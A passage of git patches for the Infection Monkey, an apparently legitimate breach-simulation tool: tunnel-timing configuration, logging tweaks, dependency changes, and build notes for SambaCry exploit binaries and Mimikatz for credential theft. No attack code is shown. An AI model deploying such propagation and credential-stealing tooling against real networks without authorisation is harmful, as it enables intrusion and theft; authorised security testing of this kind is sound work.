chaos_monkey/example.conf | 1 +
chaos_monkey/monkey.py | 36 ++++++++++++++++-------------
monkey_island/cc/services/config.py | 6 +++++
4 files changed, 29 insertions(+), 16 deletions(-)
diff --git a/chaos_monkey/config.py b/chaos_monkey/config.py
index 6b49d3bb3..c1cd618ef 100644
--- a/chaos_monkey/config.py
+++ b/chaos_monkey/config.py
@@ -173,6 +173,8 @@ class Configuration(object):
# addresses of internet servers to ping and check if the monkey has internet acccess.
internet_services = ["monkey.guardicore.com", "www.google.com"]
+ keep_tunnel_open_time = 60
+
###########################
# scanners config
###########################
diff --git a/chaos_monkey/example.conf b/chaos_monkey/example.conf
index 285bffd11..b738cff75 100644
--- a/chaos_monkey/example.conf
+++ b/chaos_monkey/example.conf
@@ -6,6 +6,7 @@
"monkey.guardicore.com",
"www.google.com"
],
+ "keep_tunnel_open_time": 60,
"range_class": "RelativeRange",
"range_fixed": [
""
diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py
index daabad0ee..426d121eb 100644
--- a/chaos_monkey/monkey.py
+++ b/chaos_monkey/monkey.py
@@ -1,17 +1,18 @@
-import sys
-import os
-import time
-import logging
-import tunnel
import argparse
+import logging
+import os
import subprocess
-from system_singleton import SystemSingleton
-from network.firewall import app as firewall
-from control import ControlClient
+import sys
+import time
+
+import tunnel
from config import WormConfiguration
-from network.network_scanner import NetworkScanner
+from control import ControlClient
from model import DELAY_DELETE_CMD
+from network.firewall import app as firewall
+from network.network_scanner import NetworkScanner
from system_info import SystemInfoCollector
+from system_singleton import SystemSingleton
__author__ = 'itamar'
@@ -101,7 +102,7 @@ class ChaosMonkey(object):
else:
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
- for _ in xrange(WormConfiguration.max_iterations):
+ for iteration_index in xrange(WormConfiguration.max_iterations):
ControlClient.keepalive()
ControlClient.load_control_config()
@@ -146,7 +147,6 @@ class ChaosMonkey(object):
LOG.debug("Skipping %r - exploitation failed before", machine)
continue
-
if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine)
if self._default_server:
@@ -196,8 +196,10 @@ class ChaosMonkey(object):
else:
self._fail_exploitation_machines.add(machine)
- if not is_empty:
- time.sleep(WormConfiguration.timeout_between_iterations)
+ if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
+ time_to_sleep = WormConfiguration.timeout_between_iterations
+ LOG.info("Sleeping %d seconds before next life cycle iteration", time_to_sleep)
+ time.sleep(time_to_sleep)
if self._keep_running and WormConfiguration.alive:
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
@@ -206,8 +208,10 @@ class ChaosMonkey(object):
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
# connect to the tunnel
- if last_exploit_time and (time.time() - last_exploit_time < 60):
- time.sleep(time.time() - last_exploit_time)
+ if last_exploit_time and (time.time() - last_exploit_time < WormConfiguration.keep_tunnel_open_time):
+ time_to_sleep = WormConfiguration.keep_tunnel_open_time - (time.time() - last_exploit_time)
+ LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
+ time.sleep(time_to_sleep)
if monkey_tunnel:
monkey_tunnel.stop()
@@ -242,7 +246,7 @@ class ChaosMonkey(object):
close_fds=True, startupinfo=startupinfo)
else:
os.remove(sys.executable)
- except Exception, exc:
+ except Exception as exc:
LOG.error("Exception in self delete: %s", exc)
LOG.info("Monkey is shutting down")
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 5e4d5abe0..6807d5d86 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -277,6 +277,12 @@ SCHEMA = {
"type": "string",
"default": "{2384ec59-0df8-4ab9-918c-843740924a28}",
"description": "The name of the mutex used to determine whether the monkey is already running"
+ },
+ "keep_tunnel_open_time": {
+ "title": "Keep tunnel open time",
+ "type": "integer",
+ "default": 60,
+ "description": "Time to keep tunnel open before going down since last exploit (in seconds)"
}
}
},
From 14eec1ba99fd7f6b9ffbb6389695349b4620a256 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Tue, 3 Oct 2017 16:18:34 +0300
Subject: [PATCH 30/35] Log stack trace of exceptions thrown from exploit
---
chaos_monkey/monkey.py | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py
index 426d121eb..a71993f7c 100644
--- a/chaos_monkey/monkey.py
+++ b/chaos_monkey/monkey.py
@@ -172,8 +172,8 @@ class ChaosMonkey(object):
'exploiter': exploiter.__class__.__name__})
except Exception as exc:
- LOG.error("Exception while attacking %s using %s: %s",
- machine, exploiter.__class__.__name__, exc)
+ LOG.exception("Exception while attacking %s using %s: %s",
+ machine, exploiter.__class__.__name__, exc)
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
'exploiter': exploiter.__class__.__name__})
continue
From 0c971da15c40b56ea642a71b6e343c6e5f1b8fb9 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Tue, 3 Oct 2017 17:08:23 +0300
Subject: [PATCH 31/35] linux's implementation of local_ips returns array of
strs instead of unicodes This fixes SambaCry Linux->Linux exploit among other
things
---
chaos_monkey/network/info.py | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py
index 605799ce3..e438f37b3 100644
--- a/chaos_monkey/network/info.py
+++ b/chaos_monkey/network/info.py
@@ -48,7 +48,7 @@ else:
def local_ips():
ipv4_nets = get_host_subnets()
- valid_ips = [network['addr'] for network in ipv4_nets]
+ valid_ips = [network['addr'].encode('utf-8').strip() for network in ipv4_nets]
return valid_ips
From 2949d4a8c2f3e3cdde3abca888ceec3fbc7f6d32 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Tue, 3 Oct 2017 18:20:20 +0300
Subject: [PATCH 32/35] Remove DNET library.
---
chaos_monkey/exploit/tools.py | 42 +++++++++++++++--------------------
chaos_monkey/readme.txt | 6 +----
2 files changed, 19 insertions(+), 29 deletions(-)
diff --git a/chaos_monkey/exploit/tools.py b/chaos_monkey/exploit/tools.py
index bdb97d975..0903d85c8 100644
--- a/chaos_monkey/exploit/tools.py
+++ b/chaos_monkey/exploit/tools.py
@@ -1,25 +1,27 @@
+import logging
+import ntpath
import os
-import sys
+import os.path
+import pprint
import socket
import struct
-import ntpath
-import pprint
-import logging
-import os.path
+import sys
import urllib
-import monkeyfs
from difflib import get_close_matches
-from network import local_ips
-from transport import HTTPServer
-from network.info import get_free_tcp_port, get_routes
-from network.firewall import app as firewall
+
from impacket.dcerpc.v5 import transport, srvs
-from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
-from impacket.smbconnection import SMBConnection, SMB_DIALECT
-from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
-from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
+from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
+from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
+from impacket.smbconnection import SMBConnection, SMB_DIALECT
+
+import monkeyfs
+from network import local_ips
+from network.firewall import app as firewall
+from network.info import get_free_tcp_port, get_routes
+from transport import HTTPServer
class DceRpcException(Exception):
@@ -387,14 +389,7 @@ class HTTPTools(object):
def get_interface_to_target(dst):
if sys.platform == "win32":
- try:
- import dnet
- intf = dnet.intf()
- inte = intf.get_dst(dnet.addr(dst))
- return str(inte['addr']).split("/")[0]
- except ImportError:
- # dnet lib is not installed
- return get_close_matches(dst, local_ips())[0]
+ return get_close_matches(dst, local_ips())[0]
else:
# based on scapy implementation
@@ -476,7 +471,7 @@ def build_monkey_commandline(target_host, depth, location=None):
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
from control import ControlClient
- telemetry_dict =\
+ telemetry_dict = \
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
'user': user, 'password': password}
if lm_hash:
@@ -492,4 +487,3 @@ def get_binaries_dir_path():
return sys._MEIPASS
else:
return os.path.dirname(os.path.abspath(__file__))
-
diff --git a/chaos_monkey/readme.txt b/chaos_monkey/readme.txt
index 726f434df..4f84ecce1 100644
--- a/chaos_monkey/readme.txt
+++ b/chaos_monkey/readme.txt
@@ -18,11 +18,7 @@ Windows:
Install the python packages listed in requirements.txt. Using pip install -r requirements.txt
7. Download and extract UPX binary to [source-path]\monkey\chaos_monkey\bin\upx.exe:
http://upx.sourceforge.net/download/upx391w.zip
-8. (Optional) For some exploits to work better, install 'dnet' python library. You'll need to compile it for your OS
- or use a precompiled setup that can be found at:
- 32bit: https://github.com/Kondziowy/scapy_win64/raw/master/win32/dnet-1.12.win32-py2.7.exe
- 64bit: https://github.com/Kondziowy/scapy_win64/raw/master/win64/dnet-1.12.win-amd64-py2.7.exe
-9. Run [source-path]\monkey\chaos_monkey\build_windows.bat to build, output is in dist\monkey.exe
+8. Run [source-path]\monkey\chaos_monkey\build_windows.bat to build, output is in dist\monkey.exe
Linux (Tested on Ubuntu 12.04):
1. Run:
From dc27467cd74993a85a93ac3f706bc253cbbd5b75 Mon Sep 17 00:00:00 2001
From: Daniel Goldberg
Date: Sun, 8 Oct 2017 16:13:42 +0300
Subject: [PATCH 33/35] Updated compilation instructions
---
chaos_monkey/readme.txt | 73 +++++++++++++++++++++++++++--------------
1 file changed, 48 insertions(+), 25 deletions(-)
diff --git a/chaos_monkey/readme.txt b/chaos_monkey/readme.txt
index 4f84ecce1..4a3a965dd 100644
--- a/chaos_monkey/readme.txt
+++ b/chaos_monkey/readme.txt
@@ -1,35 +1,58 @@
-How to create a monkey build environment:
+How to build a monkey binary from scratch.
+
+The monkey is composed of three seperate parts.
+* The Infection Monkey itself - PyInstaller compressed python archives
+* Sambacry binaries - Two linux binaries, 32/64 bit.
+* Mimikatz binaries - Two windows binaries, 32/64 bit.
+
+--- Windows ---
-Windows:
1. Install python 2.7. Preferably you should use ActiveState Python which includes pywin32 built in.
- You must use an up to date version, atleast version 2.7.10
- http://www.activestate.com/activepython/downloads
- https://www.python.org/downloads/release/python-2712/
-2. install pywin32-219.win32-py2.7.exe at least
- http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/
+ You must use an up to date version, at least version 2.7.10
+ http://www.activestate.com/activepython/downloads
+ https://www.python.org/downloads/release/python-2712/
+ If not using ActiveState, install pywin32, minimum build 219
+ http://sourceforge.net/projects/pywin32/files/pywin32
3. a. install VCForPython27.msi
- http://www.microsoft.com/en-us/download/details.aspx?id=44266
+ https://aka.ms/vcpython27
b. if not installed, install Microsoft Visual C++ 2010 SP1 Redistributable Package
32bit: http://www.microsoft.com/en-us/download/details.aspx?id=8328
64bit: http://www.microsoft.com/en-us/download/details.aspx?id=13523
-4. Download & Run get-pip.py
- https://bootstrap.pypa.io/get-pip.py
-5. Run:
- Install the python packages listed in requirements.txt. Using pip install -r requirements.txt
-7. Download and extract UPX binary to [source-path]\monkey\chaos_monkey\bin\upx.exe:
- http://upx.sourceforge.net/download/upx391w.zip
-8. Run [source-path]\monkey\chaos_monkey\build_windows.bat to build, output is in dist\monkey.exe
+4. Download the dependent python packages using
+ pip install -r requirements.txt
+5. Download and extract UPX binary to [source-path]\monkey\chaos_monkey\bin\upx.exe:
+ https://github.com/upx/upx/releases/download/v3.94/upx394w.zip
+6. To build the final exe:
+ 1 cd [code location]/chaos_monkey
+ build_windows.bat
+ output is in dist\monkey.exe
+
+--- Linux ---
+
+Tested on Ubuntu 16.04 and 17.04.
-Linux (Tested on Ubuntu 12.04):
1. Run:
- sudo apt-get update
- sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
- Install the python packages listed in requirements.txt.
- Using pip install -r requirements.txt
- sudo apt-get install winbind
-2. Put source code in /home/user/Code/monkey/chaos_monkey
+ sudo apt-get update
+ sudo apt-get install python-pip python-dev libffi-dev upx libssl-dev libc++1
+ Install the python packages listed in requirements.txt.
+ Using pip install -r requirements.txt
+ sudo apt-get install winbind dnet-common
+2. Put source code in Code/monkey/chaos_monkey
3. To build, run in terminal:
- cd /home/user/Code/monkey/chaos_monkey
- chmod +x build_linux.sh
- ./build_linux.sh
+ cd [code location]/chaos_monkey
+ chmod +x build_linux.sh
+ ./build_linux.sh
output is in dist/monkey
+
+-- Sambacry --
+
+Sambacry requires two standalone binaries to execute remotely.
+Compiling them requires gcc
+cd [code location]/chaos_monkey/monkey_utils/sambacry_monkey_runner
+./build.sh
+
+-- Mimikatz --
+
+Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
+https://github.com/guardicore/mimikatz/releases/tag/1.0.0
+Download both 32 and 64 bit DLLs and place them under [code location]\chaos_monkey\bin
From bf5fb10838fb44fef3e76e876fb04db543df8b59 Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Sun, 8 Oct 2017 19:23:34 +0300
Subject: [PATCH 34/35] Fix CR
---
chaos_monkey/monkey.py | 7 ++-----
chaos_monkey/network/info.py | 5 +++--
monkey_island/cc/services/config.py | 2 +-
3 files changed, 6 insertions(+), 8 deletions(-)
diff --git a/chaos_monkey/monkey.py b/chaos_monkey/monkey.py
index a71993f7c..17fc17bdd 100644
--- a/chaos_monkey/monkey.py
+++ b/chaos_monkey/monkey.py
@@ -81,8 +81,6 @@ class ChaosMonkey(object):
if monkey_tunnel:
monkey_tunnel.start()
- last_exploit_time = None
-
ControlClient.send_telemetry("state", {'done': False})
self._default_server = WormConfiguration.current_server
@@ -180,7 +178,6 @@ class ChaosMonkey(object):
if successful_exploiter:
self._exploited_machines.add(machine)
- last_exploit_time = time.time()
ControlClient.send_telemetry('exploit', {'result': True, 'machine': machine.__dict__,
'exploiter': successful_exploiter.__class__.__name__})
@@ -208,8 +205,8 @@ class ChaosMonkey(object):
# if host was exploited, before continue to closing the tunnel ensure the exploited host had its chance to
# connect to the tunnel
- if last_exploit_time and (time.time() - last_exploit_time < WormConfiguration.keep_tunnel_open_time):
- time_to_sleep = WormConfiguration.keep_tunnel_open_time - (time.time() - last_exploit_time)
+ if len(self._exploited_machines) > 0:
+ time_to_sleep = WormConfiguration.keep_tunnel_open_time
LOG.info("Sleeping %d seconds for exploited machines to connect to tunnel", time_to_sleep)
time.sleep(time_to_sleep)
diff --git a/chaos_monkey/network/info.py b/chaos_monkey/network/info.py
index e438f37b3..0c841dc9f 100644
--- a/chaos_monkey/network/info.py
+++ b/chaos_monkey/network/info.py
@@ -29,6 +29,8 @@ def get_host_subnets():
for network in ipv4_nets:
if 'broadcast' in network:
network.pop('broadcast')
+ for attr in network:
+ network[attr] = network[attr].encode('utf-8').strip()
return ipv4_nets
@@ -47,8 +49,7 @@ else:
def local_ips():
- ipv4_nets = get_host_subnets()
- valid_ips = [network['addr'].encode('utf-8').strip() for network in ipv4_nets]
+ valid_ips = [network['addr'] for network in get_host_subnets()]
return valid_ips
diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py
index 6807d5d86..dc9ce6a9e 100644
--- a/monkey_island/cc/services/config.py
+++ b/monkey_island/cc/services/config.py
@@ -282,7 +282,7 @@ SCHEMA = {
"title": "Keep tunnel open time",
"type": "integer",
"default": 60,
- "description": "Time to keep tunnel open before going down since last exploit (in seconds)"
+ "description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
}
},
From f59edb5b6e52acfb2d5841358d3b8fce707b0baf Mon Sep 17 00:00:00 2001
From: Itay Mizeretz
Date: Mon, 9 Oct 2017 14:39:11 +0300
Subject: [PATCH 35/35] Require lower version of psutil for Windows 2003/XP and
under
---
chaos_monkey/requirements.txt | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/chaos_monkey/requirements.txt b/chaos_monkey/requirements.txt
index 34f24c78f..2c96e311c 100644
--- a/chaos_monkey/requirements.txt
+++ b/chaos_monkey/requirements.txt
@@ -8,7 +8,7 @@ rdpy
requests
odict
paramiko
-psutil
+psutil==3.4.2
PyInstaller
ecdsa
netifaces